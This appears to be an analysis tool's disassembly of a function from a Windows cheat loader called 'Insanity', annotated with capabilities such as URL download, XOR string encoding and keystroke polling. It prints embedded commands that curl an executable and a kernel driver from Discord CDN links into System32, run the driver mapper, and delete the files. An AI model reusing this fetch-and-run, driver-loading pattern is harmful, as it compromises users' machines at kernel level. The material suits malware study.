Function at 0x140038250
Capabilities:
Create directory
Create thread
Download url
Encode data using xor
Log keystrokes via polling
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x140093070]
xor rax, rsp
mov qword [rbp + 0xf0], rax
xor ebx, ebx
mov dword [rbp - 0x50], ebx
lea ecx, [rbx + 8]
call fcn.14003d19c
lea rcx, [0x140036d00]
mov qword [rax], rcx
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140039410]
xor edx, edx
xor ecx, ecx
call fcn.14004ebb8
mov qword [rbp - 0x30], rax
test rax, rax
je 0x140038bd6
mov word [rbp - 0x50], 0x20
mov byte [rbp - 0x4e], bl
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov dword [rbp - 0x50], 0x46444845
mov dword [rbp - 0x4c], 0x4e0b58
mov byte [rbp - 0x48], 1
mov ecx, ebx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 7
jb 0x140038300
mov byte [rbp - 0x48], 0
lea rcx, [rbp - 0x50]
call fcn.14004ec98
mov dword [rbp - 0x50], 0x466b072c
mov dword [rbp - 0x4c], 0x4e494544
mov dword [rbp - 0x48], 0x565e465a
mov word [rbp - 0x44], 0x100
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xc
jb 0x140038340
mov byte [rbp - 0x43], 0
lea rdx, [rbp - 0x50]
call fcn.14002eab0
mov ecx, 0x3be
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x50], 0x5b4b45
mov byte [rbp - 0x4c], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 3
jb 0x140038380
mov byte [rbp - 0x4c], 0
lea rcx, [rbp - 0x50]
call fcn.14004ec98
movdqa xmm0, xmmword [0x140088eb0]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140088f40]
movdqu xmmword [rsp + 0x40], xmm1
mov word [rsp + 0x50], 0x100
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x20
jb 0x1400383d0
mov byte [rsp + 0x51], 0
lea rdx, [rsp + 0x30]
call fcn.14002eab0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Insanity_firstuse.Insanity
call fcn.1400380b0
test al, al
jne 0x14003858b
mov dword [rbp - 0x50], 0xb8acd5ad
mov dword [rbp - 0x4c], 0x9b95809c
mov dword [rbp - 0x48], 0x81839f
mov byte [rbp - 0x44], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 0x12]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0xb
jb 0x140038430
mov byte [rbp - 0x44], 0
lea rcx, [rbp - 0x50]
call fcn.14004f044
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x20]
call fcn.14003f520
lea rax, [0x140087e40]
mov qword [rbp - 0x20], rax
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0xb8], rbx
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xc0], xmm0
mov dword [rbp - 0x50], 3
lea r14, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x88], r14
mov dword [rbp + 0x84], 0x98
xor r8d, r8d
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x88]
call fcn.14002e070
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rsi
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], r8d
lea rcx, [rbp - 0x18]
call fcn.14002d960
nop
mov edi, 2
mov r8d, edi
lea rdx, str.C:Insanity_firstuse.Insanity
lea rcx, [rbp - 0x18]
call fcn.140038f00
test rax, rax
jne 0x14003852c
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, edi
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.14002c070
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x20], rsi
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14002ce50
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x20], r14
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x24], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.14003b67c
nop
movdqa xmm0, xmmword [0x140088ef0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x5016505f
mov dword [rsp + 0x44], 0x1005254
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x16
jb 0x1400385b0
mov byte [rsp + 0x47], 0
lea rcx, [rsp + 0x30]
call fcn.1400380b0
test al, al
jne 0x1400385f1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:Insanityconfig.ini
lea rdx, str.https:__cdn.discordapp.com_attachments_851828425835937863_863803941272027196_config.ini
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm0, xmmword [0x140088ed0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x49551959
mov word [rbp - 0x3c], 9
mov byte [rbp - 0x3a], 1
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x15
jb 0x140038620
mov byte [rbp - 0x3a], 0
lea rcx, [rbp - 0x50]
call fcn.1400380b0
test al, al
jne 0x14003865f
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:Insanityintro.mp3
lea rdx, str.https:__cdn.discordapp.com_attachments_851828425835937863_862093717255225394_omg_so_ud.mp3
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm0, xmmword [0x140088e70]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x555b5959
mov dword [rsp + 0x44], 0x13575853
mov dword [rsp + 0x48], 0x734f53
mov byte [rsp + 0x4c], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x1b
jb 0x140038690
mov byte [rsp + 0x4c], 0
lea rcx, [rsp + 0x30]
call fcn.1400380b0
test al, al
jne 0x1400386d1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:Insanity_buttonclick.mp3
lea rdx, str.https:__cdn.discordapp.com_attachments_874979444056547399_896337692575531018_buttonclick.mp3
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rbp - 0x50], 0x5b4b45
mov byte [rbp - 0x4c], 1
mov rcx, rbx
nop
lea eax, [rcx + 0x26]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 3
jb 0x1400386e0
mov byte [rbp - 0x4c], 0
lea rcx, [rbp - 0x50]
call fcn.14004ec98
mov dword [rbp - 0x50], 0x46444845
mov dword [rbp - 0x4c], 0x4e0b58
mov byte [rbp - 0x48], 1
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 7
jb 0x140038720
mov byte [rbp - 0x48], 0
lea rcx, [rbp - 0x50]
call fcn.14004ec98
mov dword [rbp - 0x50], 0x5b4b45
mov byte [rbp - 0x4c], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 3
jb 0x140038750
mov byte [rbp - 0x4c], 0
lea rcx, [rbp - 0x50]
call fcn.14004ec98
mov word [rbp - 0x50], 0x20
mov byte [rbp - 0x4e], 0
movdqa xmm0, xmmword [str.jHIM_nODXJB]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x1218055e
mov word [rsp + 0x44], 0x13
mov byte [rsp + 0x46], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x26]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x15
jb 0x1400387a0
mov byte [rsp + 0x46], 0
mov r9d, 4
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x140038836
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_890464568478957599_896327811151855616_kdmappernew.exe___output_C:_Windows_System32_kdmappernew.exe__nul_2_1
call fcn.14004ec98
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_874979444056547399_896334239451213845_c.sys___output_C:_Windows_System32_c.sys__nul_2_1
call fcn.14004ec98
lea rcx, str.C:_Windows_System32_kdmappernew.exe_C:_Windows_System32_c.sys
call fcn.14004ec98
mov word [rbp - 0x50], 0xa
mov byte [rbp - 0x4e], 0
lea rcx, [rbp - 0x50]
call fcn.14002eed0
lea rcx, str.del_c.sys__nul_2_1
call fcn.14004ec98
lea rcx, str.del_kdmappernew.exe__nul_2_1
call fcn.14004ec98
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x50], 0x5b4b45
mov byte [rbp - 0x4c], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 3
jb 0x140038850
mov byte [rbp - 0x4c], 0
lea rcx, [rbp - 0x50]
call fcn.14004ec98
movdqa xmm0, xmmword [0x140088ee0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x1400888f0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x140088f60]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [str._2_67693::]
movdqa xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], 0x2b480215
mov dword [rbp - 0x5c], 0x1181f0b
mov dword [rbp - 0x58], 0x5f15162b
mov word [rbp - 0x54], 0x100
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x4c
jb 0x1400388d0
mov byte [rbp - 0x53], 0
lea rdx, [rsp + 0x60]
call fcn.14002eab0
nop
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x140088f20]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x140088970]
movdqu xmmword [rsp + 0x70], xmm1
mov word [rbp - 0x80], 0x23
mov byte [rbp - 0x7e], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x21
jb 0x140038930
mov byte [rbp - 0x7e], 0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140038970
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14002dc90
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.140030270
nop
mov rcx, rax
call fcn.140036d20
mov edi, eax
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x1400389e3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400389de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038bca
call fcn.14003ce88
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], bx
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140038a30
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038a2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038bd0
call fcn.14003ce88
test edi, edi
je 0x1400388f0
mov dword [rbp - 0x50], 0x5b4b45
mov byte [rbp - 0x4c], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 3
jb 0x140038a50
mov byte [rbp - 0x4c], 0
lea rcx, [rbp - 0x50]
call fcn.14004ec98
movdqa xmm0, xmmword [0x140088f00]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x140088f30]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x140088960]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0x100792f
mov rcx, rbx
lea eax, [rcx + 0x26]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x32
jb 0x140038aa0
mov byte [rbp - 0x6d], 0
lea rdx, [rsp + 0x60]
call fcn.14002eab0
nop
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140038ac0
mov dword [rbp - 0x50], 0x5b4b45
mov byte [rbp - 0x4c], 1
mov rdx, rbx
nop dword [rax]
lea eax, [rdx + 0x26]
xor byte [rbp + rdx - 0x50], al
inc rdx
cmp rdx, 3
jb 0x140038af0
mov byte [rbp - 0x4c], 0
lea rcx, [rbp - 0x50]
call fcn.14004ec98
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.1400368f0
test al, al
jne 0x140038bb9
mov dword [rbp - 0x50], 0x5b4b45
mov byte [rbp - 0x4c], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x26]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 3
jb 0x140038b40
mov byte [rbp - 0x4c], 0
lea rcx, [rbp - 0x50]
call fcn.14004ec98
movdqa xmm0, xmmword [str.__adFKOECI]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x140088950]
movdqu xmmword [rsp + 0x70], xmm1
mov dword [rbp - 0x80], 0x3c3529
mov byte [rbp - 0x7c], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx + 0x26]
xor byte [rsp + rbx + 0x60], al
inc rbx
cmp rbx, 0x23
jb 0x140038b90
mov byte [rbp - 0x7c], 0
lea rdx, [rsp + 0x60]
call fcn.14002eab0
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140031580
call fcn.140031070
call fcn.140036630
jmp 0x140038bc3
call fcn.14004de34
nop
call fcn.14004de34
nop
mov dword [rbp - 0x28], ebx
mov ecx, 6
call fcn.14003bf94
int3